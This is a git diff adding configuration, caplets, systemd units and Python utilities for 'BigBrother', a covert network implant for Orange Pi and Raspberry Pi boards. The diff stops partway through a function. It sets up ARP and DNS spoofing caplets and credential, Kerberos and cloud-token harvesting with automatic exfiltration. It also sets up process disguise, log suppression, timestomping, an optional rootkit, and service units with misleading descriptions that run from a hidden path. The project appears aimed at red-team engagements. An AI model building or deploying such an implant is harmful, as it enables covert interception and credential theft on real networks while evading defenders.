diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..c73077c --- /dev/null +++ b/.gitignore @@ -0,0 +1,11 @@ +storage/ +*.pyc +__pycache__/ +.venv/ +*.db +!data/*.db +.env +*.log +*.pcap +*.pcap.zst +*.pcap.zst.enc diff --git a/config/bigbrother.yaml b/config/bigbrother.yaml new file mode 100644 index 0000000..ca27a58 --- /dev/null +++ b/config/bigbrother.yaml @@ -0,0 +1,96 @@ +# BigBrother Master Configuration +# Non-sensitive defaults only. Keys, auth tokens, engagement data +# stored in storage/config/ inside LUKS container. +# +# Platform: Orange Pi Zero 3 (primary), RPi Zero 2W (jumpbox), Debian host +# See hardware_tiers.yaml for tier-specific limits. + +device: + platform: "auto" # auto | opi_zero3 | pi_zero | generic + hostname: "iot-sensor-03" # Matches selected MAC profile + install_path: "/opt/.cache/bb" # OPSEC: innocuous install path + +network: + primary_interface: "auto" # auto-detect active interface + bridge: + enabled: false + internal: "eth0" # LAN-side (target network) + external: "eth1" # WAN-side (uplink) + wifi: + interface: "wlan0" + cellular: + enabled: false + modem_device: "/dev/ttyUSB0" # SIM7600/EC25 via 13-pin header USB + scope_enforcement: false # Enforce scope.yaml restrictions + scope_file: null # Path to scope.yaml override + +connectivity: + # WireGuard primary: zero traffic when idle (PersistentKeepalive=0), + # instant access when operator sends a packet. No beacons, no heartbeats, + # no coordination servers. Completely silent while idle. + primary: "wireguard" + failover_chain: + - wireguard + - tailscale + - reverse_ssh + - cellular + wireguard: + endpoint: "" # operator-controlled WG endpoint (host:port) + private_key_file: "storage/config/wg_private.key" + peer_public_key: "" + allowed_ips: "10.99.0.0/24" + tailscale: + auth_key: "" # Per-engagement auth key + hostname: "" # Matches MAC profile hostname + reverse_ssh: + relay_host: "" + relay_port: 22 + relay_user: "bb" + key_file: "storage/config/ssh_relay.key" + +security: + encryption: "aes-256-gcm" # PCAP + credential encryption + encryption_key_derive: "argon2id" # argon2id | pbkdf2 (RPi Zero 2W) + luks_container: "storage/encrypted.luks" + kill_switch_enabled: true + dead_man_switch: + enabled: false + interval_hours: 72 # Auto-wipe if no operator checkin + +capture: + interface: "auto" # auto-detect or explicit interface + snap_length: 65535 # Full packet capture + pcap_rotation_hours: 1 # Rotate PCAP every hour + pcap_compression: "zstd" + pcap_compression_level: 19 # OPi Zero 3: -19 (max). RPi Zero 2W: auto-downgrade to -3 + pcap_format: "pcapng" + pcap_encryption: true # AES-256-GCM post-compression + bpf_filter: "full_capture" # Reference to data/bpf_filters/.bpf + disk_max_pct: 85 # Auto-purge oldest PCAPs above this threshold + +stealth: + mac_profile: "auto" # auto | streaming | printer | iot | + mac_network_type: "auto" # auto | business | home + process_disguise: true # Rename all processes to system service names + log_suppression: true # Suppress syslog/auditd/journald evidence + overlayfs: true # Read-only root + tmpfs overlay (SD protection) + traffic_mimicry: true # Shape exfil to match baseline patterns + +baseline: + duration_hours: 48 # Traffic baseline collection period + auto_start: true # Begin baseline on first boot + +engagement_phase: + mode: "passive_only" # passive_only | active_allowed + passive_days: 7 # Minimum passive-only observation period + auto_transition: true # Auto-allow active after passive_days + active_allowed_after: null # ISO timestamp override (manual scheduling) + +bettercap: + binary: "/usr/local/bin/bettercap" + api_address: "127.0.0.1" # Localhost only -- never network-visible + api_port: 8083 + api_user: "bb" + # api_password generated per-session, stored in memory only + default_caplet: "passive_recon" + caplets_path: "config/caplets" diff --git a/config/caplets/arp_mitm.cap b/config/caplets/arp_mitm.cap new file mode 100644 index 0000000..649c045 --- /dev/null +++ b/config/caplets/arp_mitm.cap @@ -0,0 +1,5 @@ +set arp.spoof.fullduplex true +set arp.spoof.internal false +# targets set dynamically via API +arp.spoof on +net.sniff on diff --git a/config/caplets/dns_spoof.cap b/config/caplets/dns_spoof.cap new file mode 100644 index 0000000..01f1d52 --- /dev/null +++ b/config/caplets/dns_spoof.cap @@ -0,0 +1,3 @@ +set dns.spoof.all false +# domains set dynamically via API +dns.spoof on diff --git a/config/caplets/full_mitm.cap b/config/caplets/full_mitm.cap new file mode 100644 index 0000000..efc8626 --- /dev/null +++ b/config/caplets/full_mitm.cap @@ -0,0 +1,7 @@ +set arp.spoof.fullduplex true +set arp.spoof.internal false +set http.proxy.sslstrip false +set net.sniff.verbose false +arp.spoof on +http.proxy on +net.sniff on diff --git a/config/caplets/passive_recon.cap b/config/caplets/passive_recon.cap new file mode 100644 index 0000000..8092d12 --- /dev/null +++ b/config/caplets/passive_recon.cap @@ -0,0 +1,6 @@ +set net.sniff.verbose false +set net.sniff.local true +set net.sniff.output /tmp/bb_sniff.pcap +net.recon on +net.sniff on +events.stream on diff --git a/config/caplets/wifi_recon.cap b/config/caplets/wifi_recon.cap new file mode 100644 index 0000000..4b0ee69 --- /dev/null +++ b/config/caplets/wifi_recon.cap @@ -0,0 +1,2 @@ +wifi.recon on +wifi.show diff --git a/config/hardware_tiers.yaml b/config/hardware_tiers.yaml new file mode 100644 index 0000000..d656799 --- /dev/null +++ b/config/hardware_tiers.yaml @@ -0,0 +1,65 @@ +# BigBrother Hardware Tier Definitions +# Platform-specific resource limits and capability gates. +# Platform auto-detected at boot or set in bigbrother.yaml. + +# --------------------------------------------------------------------------- +# Orange Pi Zero 3 (4GB) — Primary Implant +# Allwinner H618, 4x Cortex-A53 @ 1.5GHz, WiFi 5 + BT 5.0, 1x GbE +# Dimensions: 50x55mm, ~$29, 0.8W idle / ~3.5W load +# OS: Armbian Debian 12 Bookworm +# --------------------------------------------------------------------------- +opi_zero3: + max_passive: 16 # All passive modules supported + max_active: 6 # Concurrent active module limit + max_ram_mb: 3800 # ~4GB minus OS overhead + zstd_level: 19 # Max compression (10-15x on PCAPs) + kdf: "argon2id" # Strong key derivation + mitmproxy: true # 100-200MB RAM — fits in budget + lkm: false # No kernel headers on Armbian + cellular: true # Via 13-pin header USB breakout + overlayfs_mb: 200 # tmpfs overlay size + thermal_warning: 55 # Celsius — needs heatsink + thermal_shed: 70 # Shed active modules at this temp + wifi_attacks: true # Built-in WiFi 5 supports evil twin + inline_bridge: true # Via USB Ethernet adapter + +# --------------------------------------------------------------------------- +# Raspberry Pi Zero 2W — Jumpbox / Beacon +# BCM2710A1, 4x Cortex-A53 @ 1.0GHz, WiFi 4, no Ethernet (USB adapter) +# 512MB RAM — lightweight passive sniffing + callback beacon only. +# No active attack capability. Deploy as decoy/expendable. +# --------------------------------------------------------------------------- +pi_zero: + max_passive: 4 # dns_logger, credential_sniffer, host_discovery, +1 + max_active: 0 # No active modules — jumpbox only + max_ram_mb: 410 # 512MB minus OS (~110MB) + zstd_level: 3 # Fast mode (5-8x compression, minimal CPU) + kdf: "pbkdf2" # argon2id too expensive for 512MB + mitmproxy: false # Way too much RAM + lkm: false # No kernel headers + cellular: false # No USB header + overlayfs_mb: 30 # Minimal tmpfs overlay + thermal_warning: 55 # Celsius + thermal_shed: 70 # Shed modules at this temp + wifi_attacks: false # WiFi 4 too weak for evil twin + inline_bridge: false # No Ethernet port + +# --------------------------------------------------------------------------- +# Generic Debian Host — Full Capability +# Any x86_64/aarch64 Debian host. No hardware constraints. +# Supports all modules including LKM rootkit. +# --------------------------------------------------------------------------- +generic: + max_passive: 16 # All passive modules + max_active: 99 # Effectively unlimited + max_ram_mb: null # No artificial limit + zstd_level: 19 # Max compression + kdf: "argon2id" # Strong key derivation + mitmproxy: true # Plenty of RAM + lkm: true # Kernel headers available + cellular: true # If USB modem attached + overlayfs_mb: null # Not needed on full host + thermal_warning: 80 # Server-grade thermal limits + thermal_shed: 95 # Server-grade thermal limits + wifi_attacks: true # If wireless adapter present + inline_bridge: true # Dual NIC supported diff --git a/config/modules.yaml b/config/modules.yaml new file mode 100644 index 0000000..21f822f --- /dev/null +++ b/config/modules.yaml @@ -0,0 +1,307 @@ +# BigBrother Module Configuration +# Per-module enable/disable and parameters. +# Modules gated by hardware tier and engagement phase. + +# --------------------------------------------------------------------------- +# Passive Modules (16) — metadata extraction, zero network noise +# --------------------------------------------------------------------------- +passive: + packet_capture: + enabled: true + description: "tcpdump wrapper + zstd + AES-256-GCM rotation pipeline" + rotation_hours: 1 + snap_length: 65535 + max_pcap_files: 168 # 1 week at hourly rotation + disk_purge_pct: 85 + + dns_logger: + enabled: true + description: "Per-host DNS query log to SQLite" + batch_size: 1000 + flush_interval_s: 60 + flag_doh_resolvers: true # Flag DoH blind spots (1.1.1.1, 8.8.8.8, 9.9.9.9) + + tls_sni_extractor: + enabled: true + description: "TLS ClientHello SNI extraction to SQLite" + + credential_sniffer: + enabled: true + description: "Cleartext + NTLM credential extraction" + auto_exfil: true # Immediate push via data_exfil + protocols: + - ftp + - http_basic + - http_digest + - http_form + - snmp + - ldap_simple + - ntlmv1 + - ntlmv2 + + kerberos_harvester: + enabled: true + description: "AS-REP/TGS-REP ticket extraction for offline cracking" + auto_exfil: true # Tickets expire -- immediate push + + host_discovery: + enabled: true + description: "Passive host inventory (ARP/DHCP/mDNS/NetBIOS/SSDP/LLMNR)" + dhcp_fingerprinting: true + + os_fingerprint: + enabled: true + description: "p0f-style passive TCP/HTTP/DHCP/SMB/SSH fingerprinting" + + traffic_analyzer: + enabled: true + description: "Flow tracking, beacon detection, top talkers, bandwidth profiling" + beacon_threshold_s: 60 # Min interval to flag as beacon + beacon_min_count: 10 # Min occurrences to confirm beacon + + vlan_discovery: + enabled: true + description: "802.1Q/DTP/STP/CDP/LLDP/802.1X detection" + + network_mapper: + enabled: true + description: "Communication graph construction (all-pairs, protocol/volume)" + snapshot_interval_hours: 4 + + auth_flow_tracker: + enabled: true + description: "Cross-protocol auth correlation (Kerberos/NTLM/SSH/LDAP)" + + smb_monitor: + enabled: true + description: "SMB2/3 share/file access metadata, GPP/SYSVOL detection" + + cloud_token_harvester: + enabled: true + description: "Passive AWS/JWT/OAuth token extraction from cleartext HTTP" + + ldap_harvester: + enabled: true + description: "LDAP query/response parsing, AD object inventory" + + rdp_monitor: + enabled: true + description: "RDP NLA username/hostname/domain extraction" + + quic_analyzer: + enabled: true + description: "QUIC Initial packet SNI extraction (RFC 9000/9001)" + + db_interceptor: + enabled: false # Enable per-engagement if DB traffic expected + description: "TDS/MySQL/PostgreSQL/Redis/MongoDB login + query metadata" + protocols: + - mssql + - mysql + - postgresql + - redis + - mongodb + +# --------------------------------------------------------------------------- +# Active Modules (8) — operator-enabled, bettercap + tool wrappers +# Gated by engagement_phase.mode == active_allowed +# --------------------------------------------------------------------------- +active: + bettercap_mgr: + enabled: true + description: "Central bettercap orchestrator (REST API lifecycle)" + max_restarts: 3 + health_poll_interval_s: 10 + arp_restore_on_crash: true # Send corrective gratuitous ARPs on crash + + arp_spoof: + enabled: false # OPSEC WARNING: most-detected technique + description: "ARP spoofing via bettercap (full-duplex, selective targeting)" + targets: [] # Specific IPs only -- never subnet + gateway: "auto" + + dns_poison: + enabled: false + description: "DNS poisoning via bettercap dns.spoof" + domains: {} # domain: target_ip mapping + mode: "selective" # selective | all + + dhcp_spoof: + enabled: false + description: "DHCPv6 spoofing via bettercap dhcp6.spoof" + pool_start: "" + pool_end: "" + + evil_twin: + enabled: false + description: "hostapd + dnsmasq rogue AP with captive portal" + ssid: "" + channel: 6 + portal: "corporate_login" # Template from templates/captive_portals/ + wids_observation_hours: 2 # Run wireless IDS detection before activation + + ipv6_slaac: + enabled: false + description: "IPv6 SLAAC spoofing (bettercap dhcp6.spoof + mitm6 WPAD)" + + responder_mgr: + enabled: false + description: "Responder subprocess wrapper (LLMNR/NBT-NS/mDNS poisoning)" + protocols: + llmnr: true + nbtns: true + mdns: true + analyze_mode: false # Analyze only, no poisoning + + mitmproxy_mgr: + enabled: false # OPi Zero 3+ only (100-200MB RAM) + description: "mitmproxy transparent mode with addon scripts" + addons: + - credential_extractor + - cloud_token_extractor + ca_cn: "" # Override default CA CN to match target PKI + + ntlm_relay: + enabled: false + description: "ntlmrelayx subprocess wrapper (SMB/LDAP/ADCS relay)" + targets: [] + attack: "smb" # smb | ldap | ldaps | http | mssql | adcs + +# --------------------------------------------------------------------------- +# Stealth Modules (12) — OPSEC layer +# --------------------------------------------------------------------------- +stealth: + mac_manager: + enabled: true + description: "Innocuous MAC profile database + DHCP/TCP stack spoofing" + + process_disguise: + enabled: true + description: "Rename all processes (Python/bettercap/tcpdump) to system services" + + log_suppression: + enabled: true + description: "rsyslog filter, auditd exclusion, journald rate-limit, history clear" + + encrypted_storage: + enabled: true + description: "LUKS encrypted storage with network-derived key" + + tmpfs_manager: + enabled: true + description: "tmpfs for active module working dirs (power loss = destruction)" + + watchdog: + enabled: true + description: "Monitor all services + subprocesses, auto-restart (max 3)" + + anti_forensics: + enabled: true + description: "Timestomp, secure deletion, no core dumps, no swap" + + traffic_mimicry: + enabled: true + description: "Shape implant traffic to match 48h baseline patterns" + + ja3_spoofer: + enabled: true + description: "Chrome/Firefox/Edge JA3 on all outbound HTTPS" + + ids_tester: + enabled: true + description: "Check planned actions against Snort/Suricata rules" + + lkm_rootkit: + enabled: false # Debian host only, requires kernel headers + description: "LKM to hide processes/files/connections from /proc" + + overlayfs_manager: + enabled: true + description: "Read-only root FS + tmpfs overlay (zero SD writes)" + +# --------------------------------------------------------------------------- +# Intelligence Modules (8) — on-device analysis + aggregation +# --------------------------------------------------------------------------- +intel: + credential_db: + enabled: true + description: "Central credential store (bettercap/Responder/mitmproxy ingestion)" + dedup: true + export_formats: + - hashcat + - csv + - json + + topology_mapper: + enabled: true + description: "Network topology aggregation + Graphviz DOT/SVG output" + + net_intel: + enabled: true + description: "Beacon/C2 detection, anomaly baseline, service dependency mapping" + + user_timeline: + enabled: true + description: "Per-user activity timeline (logins, services, files, websites)" + + supply_chain_detect: + enabled: true + description: "Detect internal repos, WSUS, CA, SCCM, container registries, CI/CD" + + change_detector: + enabled: true + description: "Continuous baseline diff (new hosts, services, scan activity)" + check_interval_s: 300 + + security_posture: + enabled: true + description: "Detect EDR/SIEM/NAC/honeypots/vuln scanners/network taps" + + operator_audit: + enabled: true + description: "Append-only HMAC-chained SSH session + command audit trail" + + tool_output_parser: + enabled: true + description: "Parse bettercap events, Responder logs, mitmproxy flows" + +# --------------------------------------------------------------------------- +# Connectivity Modules (8) — operator access + data exfil +# --------------------------------------------------------------------------- +connectivity: + wireguard: + enabled: true + description: "Primary C2 -- zero traffic when idle, instant on demand" + persistent_keepalive: 0 # Silent until operator connects + + tailscale: + enabled: false # Only if WG blocked or target has existing TS traffic + description: "Fallback mesh VPN via Tailscale" + + bridge: + enabled: false + description: "Transparent inline bridge (802.1X bypass, STP/CDP suppression)" + failsafe_timeout_s: 15 # C watchdog failsafe + + wifi_client: + enabled: false + description: "WPA2-PSK/Enterprise WiFi client via wpa_supplicant" + + reverse_tunnel: + enabled: false + description: "autossh reverse SSH (over WebSocket or TLS, never raw on 443)" + + cellular_backup: + enabled: false # OPi Zero 3+ only (13-pin header USB) + description: "LTE modem out-of-band backup (SIM7600/EC25)" + + ble_emergency: + enabled: false + description: "BLE GATT server for emergency status/kill/reboot (PSK auth)" + + data_exfil: + enabled: true + description: "Priority push (creds), nightly sync (intel), on-demand pull (PCAPs)" + cred_push_immediate: true + intel_sync_hour: 3 # 03:00 local time + respect_mimicry: true # Shape to baseline traffic patterns diff --git a/config/scope.yaml b/config/scope.yaml new file mode 100644 index 0000000..26fd370 --- /dev/null +++ b/config/scope.yaml @@ -0,0 +1,28 @@ +# BigBrother Scope Enforcement +# Optional. When enabled, all passive/active modules respect these boundaries. +# Prevents accidental out-of-scope activity during engagements. + +enabled: false + +# In-scope target networks (CIDR notation) +networks: [] + # - 10.10.0.0/16 + # - 10.0.0.0/24 + +# In-scope individual hosts (IP or FQDN) +hosts: [] + # - dc01.corp.local + # - 10.10.1.50 + +# In-scope domains (wildcard matching) +domains: [] + # - corp.local + # - internal.example.com + +# Excluded networks — always out of scope (overrides networks/hosts above) +exclude_networks: [] + # - 10.10.99.0/24 # OT segment + +# Excluded hosts — always out of scope +exclude_hosts: [] + # - 10.10.1.1 # Production gateway diff --git a/config/stealth.yaml b/config/stealth.yaml new file mode 100644 index 0000000..84bdbde --- /dev/null +++ b/config/stealth.yaml @@ -0,0 +1,53 @@ +# BigBrother Stealth / OPSEC Profile +# Process disguise, log suppression, anti-forensics, traffic mimicry. + +# --------------------------------------------------------------------------- +# Process Name Disguise +# All managed processes renamed to innocuous system service names. +# /proc/PID/exe still points to real binary (unavoidable without LKM). +# --------------------------------------------------------------------------- +process_names: + python3: "systemd-thermald" + bettercap: "networkd-dispatcher" + tcpdump: "systemd-netlogd" + responder: "systemd-resolved" + mitmproxy: "systemd-networkd" + ntlmrelayx: "systemd-logind" + hostapd: "wpa_supplicant" + dnsmasq: "systemd-resolved" + +# --------------------------------------------------------------------------- +# Log Suppression +# Minimize forensic artifacts in system logs. +# --------------------------------------------------------------------------- +log_suppression: + rsyslog_filter: true # Drop log entries matching our processes/paths + auditd_exclusion: true # Exclude our PIDs/paths from audit rules + journald_rate_limit: true # Rate-limit journal entries from our services + bash_history: false # Disable bash history for root/.bashrc + utmp_wtmp: false # Suppress login records (utmp/wtmp/btmp) + +# --------------------------------------------------------------------------- +# Anti-Forensics +# Minimize on-disk evidence. +# --------------------------------------------------------------------------- +anti_forensics: + timestomp: true # Match all file timestamps to reference file + timestomp_reference: "/etc/os-release" # Use OS install date as reference + core_dumps: false # Disable core dumps (ulimit -c 0) + swap: false # Disable swap entirely (swapoff -a) + secure_delete: true # Overwrite before unlink for sensitive files + bettercap_home_tmpfs: true # Set $HOME to tmpfs (no ~/.bettercap/ artifacts) + bettercap_no_history: true # --no-history flag for bettercap + +# --------------------------------------------------------------------------- +# Traffic Mimicry +# Shape implant traffic to match observed network baseline. +# --------------------------------------------------------------------------- +traffic_mimicry: + enabled: true + baseline_hours: 48 # Duration of traffic baseline collection + shape_exfil: true # Time and size exfil to match upload patterns + match_protocols: true # Use same protocols as observed traffic + match_timing: true # Match time-of-day activity patterns + jitter_pct: 15 # Random jitter on all timed operations diff --git a/data/bpf_filters/credentials.bpf b/data/bpf_filters/credentials.bpf new file mode 100644 index 0000000..72b44ff --- /dev/null +++ b/data/bpf_filters/credentials.bpf @@ -0,0 +1,2 @@ +# HTTP Basic/NTLM auth, FTP, Telnet, SMTP, POP3, IMAP, LDAP bind, Kerberos AS-REQ +port 80 or port 21 or port 23 or port 25 or port 110 or port 143 or port 389 or port 88 or port 445 diff --git a/data/bpf_filters/discovery.bpf b/data/bpf_filters/discovery.bpf new file mode 100644 index 0000000..83b8665 --- /dev/null +++ b/data/bpf_filters/discovery.bpf @@ -0,0 +1,2 @@ +# ARP, DHCP, mDNS, SSDP, LLMNR, NetBIOS +arp or port 67 or port 68 or port 5353 or port 1900 or port 5355 or port 137 or port 138 diff --git a/data/bpf_filters/dns.bpf b/data/bpf_filters/dns.bpf new file mode 100644 index 0000000..48119fb --- /dev/null +++ b/data/bpf_filters/dns.bpf @@ -0,0 +1 @@ +port 53 diff --git a/data/bpf_filters/full_capture.bpf b/data/bpf_filters/full_capture.bpf new file mode 100644 index 0000000..0b29776 --- /dev/null +++ b/data/bpf_filters/full_capture.bpf @@ -0,0 +1 @@ +# Everything — no filter diff --git a/data/ids_rules/.gitkeep b/data/ids_rules/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/data/wordlists/.gitkeep b/data/wordlists/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..c5866d0 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,12 @@ +click>=8.1 +rich>=13.0 +pyyaml>=6.0 +cryptography>=41.0 +scapy>=2.5 +requests>=2.31 +dpkt>=1.9 +zstandard>=0.22 +python-magic>=0.4 +dnslib>=0.9 +argon2-cffi>=23.1 +jinja2>=3.1 diff --git a/scripts/operator/.gitkeep b/scripts/operator/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/services/bigbrother-capture.service b/services/bigbrother-capture.service new file mode 100644 index 0000000..bb8ca35 --- /dev/null +++ b/services/bigbrother-capture.service @@ -0,0 +1,17 @@ +[Unit] +Description=Network Interface Statistics Collector +After=bigbrother-core.service +Requires=bigbrother-core.service + +[Service] +Type=simple +ExecStart=/usr/bin/tcpdump -i any -s 65535 -w /opt/.cache/bb/storage/pcaps/capture.pcap -G 3600 -z /opt/.cache/bb/scripts/rotate_pcap.sh +WorkingDirectory=/opt/.cache/bb +Restart=on-failure +RestartSec=5 +User=root +StandardOutput=null +StandardError=null + +[Install] +WantedBy=multi-user.target diff --git a/services/bigbrother-core.service b/services/bigbrother-core.service new file mode 100644 index 0000000..3a256ff --- /dev/null +++ b/services/bigbrother-core.service @@ -0,0 +1,17 @@ +[Unit] +Description=System Thermal Management Daemon +After=network-online.target +Wants=network-online.target + +[Service] +Type=simple +ExecStart=/opt/.cache/bb/.venv/bin/python3 /opt/.cache/bb/bigbrother.py start --daemon +WorkingDirectory=/opt/.cache/bb +Restart=on-failure +RestartSec=10 +User=root +StandardOutput=null +StandardError=null + +[Install] +WantedBy=multi-user.target diff --git a/services/bigbrother-watchdog.service b/services/bigbrother-watchdog.service new file mode 100644 index 0000000..64dc4d8 --- /dev/null +++ b/services/bigbrother-watchdog.service @@ -0,0 +1,17 @@ +[Unit] +Description=System Health Monitor +After=bigbrother-core.service +Requires=bigbrother-core.service + +[Service] +Type=simple +ExecStart=/opt/.cache/bb/.venv/bin/python3 -c "from core.resource_monitor import ResourceMonitor; ResourceMonitor().run()" +WorkingDirectory=/opt/.cache/bb +Restart=always +RestartSec=30 +User=root +StandardOutput=null +StandardError=null + +[Install] +WantedBy=multi-user.target diff --git a/storage/.gitkeep b/storage/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/templates/captive_portals/.gitkeep b/templates/captive_portals/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/templates/dns_zones/.gitkeep b/templates/dns_zones/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/tests/.gitkeep b/tests/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/utils/__init__.py b/utils/__init__.py new file mode 100644 index 0000000..da438a8 --- /dev/null +++ b/utils/__init__.py @@ -0,0 +1,16 @@ +from utils.crypto import encrypt_file, decrypt_file, derive_key, CryptoEngine +from utils.networking import ( + get_primary_interface, get_bridge_candidates, get_wifi_interfaces, + get_mac, set_mac, get_ip, compile_bpf, send_gratuitous_arp, + interface_up, interface_down, create_vlan_interface, +) +from utils.logging import BBLogger +from utils.stealth import ( + rename_process, spoof_cmdline, set_sysctl, timestomp, disable_core_dumps, +) +from utils.resource import HardwareInfo, get_hardware_tier, get_resource_usage +from utils.permissions import ( + check_root, check_capability, drop_privileges, enforce_directory_permissions, +) +from utils.config_loader import load_config, ConfigLoader +from utils.bettercap_api import BettercapAPI diff --git a/utils/bettercap_api.py b/utils/bettercap_api.py new file mode 100644 index 0000000..9161228 --- /dev/null +++ b/utils/bettercap_api.py @@ -0,0 +1,98 @@ +#!/usr/bin/env python3 +"""REST client for bettercap API.""" + +import secrets +import string +from typing import Any, Dict, List, Optional + +import requests +from requests.auth import HTTPBasicAuth + + +class BettercapAPI: + def __init__( + self, + host: str = "127.0.0.1", + port: int = 8083, + user: str = "bb", + password: Optional[str] = None, + timeout: int = 10, + ): + self.host = host + self.port = port + self.user = user + self.password = password or self._generate_password() + self.timeout = timeout + self._base_url = f"http://{host}:{port}/api" + self._auth = HTTPBasicAuth(self.user, self.password) + self._session = requests.Session() + self._session.auth = self._auth + self._session.headers.update({"Content-Type": "application/json"}) + + @staticmethod + def _generate_password(length: int = 32) -> str: + alphabet = string.ascii_letters + string.digits + return "".join(secrets.choice(alphabet) for _ in range(length)) + + def _request(self, method: str, endpoint: str, **kwargs) -> requests.Response: + url = f"{self._base_url}/{endpoint.lstrip('/')}" + kwargs.setdefault("timeout", self.timeout) + try: + resp = self._session.request(method, url, **kwargs) + resp.raise_for_status() + return resp + except requests.exceptions.ConnectionError: + raise ConnectionError(f"Cannot connect to bettercap at {self.host}:{self.port}") + except requests.exceptions.Timeout: + raise TimeoutError(f"Request to bettercap timed out after {self.timeout}s") + + def run(self, command: str) -> Dict[str, Any]: + resp = self._request("POST", "session", json={"cmd": command}) + return resp.json() + + def get_session(self) -> Dict[str, Any]: + resp = self._request("GET", "session") + return resp.json() + + def get_events(self, since: Optional[int] = None) -> List[Dict[str, Any]]: + params = {} + if since is not None: + params["n"] = since + resp = self._request("GET", "events", params=params) + return resp.json() + + def is_alive(self) -> bool: + try: + self.get_session() + return True + except (ConnectionError, TimeoutError, requests.exceptions.RequestException): + return False + + def start_module(self, module: str) -> Dict[str, Any]: + return self.run(f"{module} on") + + def stop_module(self, module: str) -> Dict[str, Any]: + return self.run(f"{module} off") + + def set_parameter(self, param: str, value: str) -> Dict[str, Any]: + return self.run(f"set {param} {value}") + + def get_hosts(self) -> List[Dict[str, Any]]: + session = self.get_session() + return session.get("lan", {}).get("hosts", []) + + def load_caplet(self, caplet_path: str) -> Dict[str, Any]: + return self.run(f"caplet.load {caplet_path}") + + @property + def credentials(self) -> Dict[str, str]: + return {"user": self.user, "password": self.password} + + @property + def api_flags(self) -> List[str]: + return [ + "-api-rest-address", self.host, + "-api-rest-port", str(self.port), + "-api-rest-username", self.user, + "-api-rest-password", self.password, + ] diff --git a/utils/config_loader.py b/utils/config_loader.py new file mode 100644 index 0000000..90706d7 --- /dev/null +++ b/utils/config_loader.py @@ -0,0 +1,179 @@ +#!/usr/bin/env python3 +"""YAML config loader with merge hierarchy, hardware tier detection, and SIGHUP reload.""" + +import copy +import os +import signal +import threading +from pathlib import Path +from typing import Any, Callable, Dict, List, Optional + +import yaml + +from utils.resource import get_hardware_tier + +CONFIG_DIR = "config" +MERGE_ORDER = [ + "hardware_tiers.yaml", + "bigbrother.yaml", + "modules.yaml", + "stealth.yaml", +] + + +def deep_merge(base: dict, override: dict) -> dict: + result = copy.deepcopy(base) + for key, value in override.items(): + if key in result and isinstance(result[key], dict) and isinstance(value, dict): + result[key] = deep_merge(result[key], value) + else: + result[key] = copy.deepcopy(value) + return result + + +class ConfigLoader: + def __init__( + self, + config_dir: str = CONFIG_DIR, + cli_overrides: Optional[Dict[str, Any]] = None, + auto_detect_tier: bool = True, + ): + self.config_dir = Path(config_dir) + self.cli_overrides = cli_overrides or {} + self.auto_detect_tier = auto_detect_tier + self._config: Dict[str, Any] = {} + self._lock = threading.Lock() + self._reload_callbacks: List[Callable] = [] + self._loaded = False + + def load(self) -> Dict[str, Any]: + with self._lock: + self._config = self._build_config() + self._loaded = True + return copy.deepcopy(self._config) + + def _build_config(self) -> Dict[str, Any]: + merged: Dict[str, Any] = {} + + for filename in MERGE_ORDER: + filepath = self.config_dir / filename + if filepath.exists(): + try: + with open(filepath, "r") as f: + data = yaml.safe_load(f) or {} + merged = deep_merge(merged, data) + except (yaml.YAMLError, IOError): + continue + + # Apply hardware tier defaults + if self.auto_detect_tier: + merged = self._apply_tier_limits(merged) + + # Apply CLI overrides last (highest priority) + if self.cli_overrides: + merged = deep_merge(merged, self.cli_overrides) + + # Validate + self._validate(merged) + + return merged + + def _apply_tier_limits(self, config: dict) -> dict: + tier = config.get("device", {}).get("platform", "auto") + if tier == "auto": + tier = get_hardware_tier() + config.setdefault("device", {})["platform"] = tier + + # Extract tier-specific limits from hardware_tiers section + tiers = config.pop("hardware_tiers", {}) + tier_config = tiers.get(tier, tiers.get("generic", {})) + + if tier_config: + config = deep_merge(config, tier_config) + + # Apply well-known tier constraints + if tier == "pi_zero": + config.setdefault("capture", {})["pcap_compression_level"] = 3 + config.setdefault("security", {})["encryption_key_derive"] = "pbkdf2" + # Limit passive modules + limits = config.setdefault("limits", {}) + limits.setdefault("max_passive_modules", 4) + limits.setdefault("max_active_modules", 0) + elif tier == "opi_zero3": + config.setdefault("capture", {})["pcap_compression_level"] = 19 + config.setdefault("security", {})["encryption_key_derive"] = "argon2id" + limits = config.setdefault("limits", {}) + limits.setdefault("max_passive_modules", 16) + limits.setdefault("max_active_modules", 6) + else: + config.setdefault("capture", {})["pcap_compression_level"] = 19 + config.setdefault("security", {})["encryption_key_derive"] = "argon2id" + limits = config.setdefault("limits", {}) + limits.setdefault("max_passive_modules", 16) + limits.setdefault("max_active_modules", -1) # unlimited + + return config + + def _validate(self, config: dict) -> None: + device = config.get("device", {}) + platform = device.get("platform", "") + if platform and platform not in ("auto", "opi_zero3", "pi_zero", "generic"): + raise ValueError(f"Invalid platform: {platform}") + + capture = config.get("capture", {}) + comp_level = capture.get("pcap_compression_level") + if comp_level is not None and not (1 <= comp_level <= 22): + raise ValueError(f"Invalid compression level: {comp_level}") + + bettercap = config.get("bettercap", {}) + port = bettercap.get("api_port") + if port is not None and not (1 <= port <= 65535): + raise ValueError(f"Invalid bettercap API port: {port}") + + security = config.get("security", {}) + kdf = security.get("encryption_key_derive") + if kdf and kdf not in ("argon2id", "pbkdf2"): + raise ValueError(f"Invalid key derivation method: {kdf}") + + def get(self, key_path: str, default: Any = None) -> Any: + with self._lock: + keys = key_path.split(".") + current = self._config + for k in keys: + if isinstance(current, dict) and k in current: + current = current[k] + else: + return default + return copy.deepcopy(current) + + def reload(self) -> Dict[str, Any]: + config = self.load() + for cb in self._reload_callbacks: + try: + cb(config) + except Exception: + pass + return config + + def on_reload(self, callback: Callable): + self._reload_callbacks.append(callback) + + def register_sighup(self): + def _handler(signum, frame): + self.reload() + signal.signal(signal.SIGHUP, _handler) + + @property + def config(self) -> Dict[str, Any]: + with self._lock: + if not self._loaded: + return self.load() + return copy.deepcopy(self._config) + + +def load_config( + config_dir: str = CONFIG_DIR, + cli_overrides: Optional[Dict[str, Any]] = None, +) -> Dict[str, Any]: + loader = ConfigLoader(config_dir=config_dir, 